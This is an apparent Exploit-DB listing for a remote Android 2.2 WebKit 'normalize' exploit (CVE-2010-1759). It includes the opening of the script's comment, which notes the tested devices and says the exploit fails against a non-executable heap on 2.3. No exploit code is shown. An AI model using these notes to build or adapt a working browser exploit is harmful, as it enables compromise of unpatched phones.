标题: Webkit Normalize Bug - Android 2.2 EDB-ID: 18446 CVE: 2010-2300 2010-1759 类型: REMOTE 平台: ANDROID 发布日期: 2012-02-01 漏洞利用脚本: <!--

CVE-2010-1759 webkit normalize bug
Tested on 
 Moto Droidx2 running 2.2. Droidx2 running 2.3 is vulnerable but exploit fails due to non-executable heap. Still working on a way around that :)
 2.1 - 2.3 emulator. The changes needed are documented in the code. The emulator is less consistent than the real phone
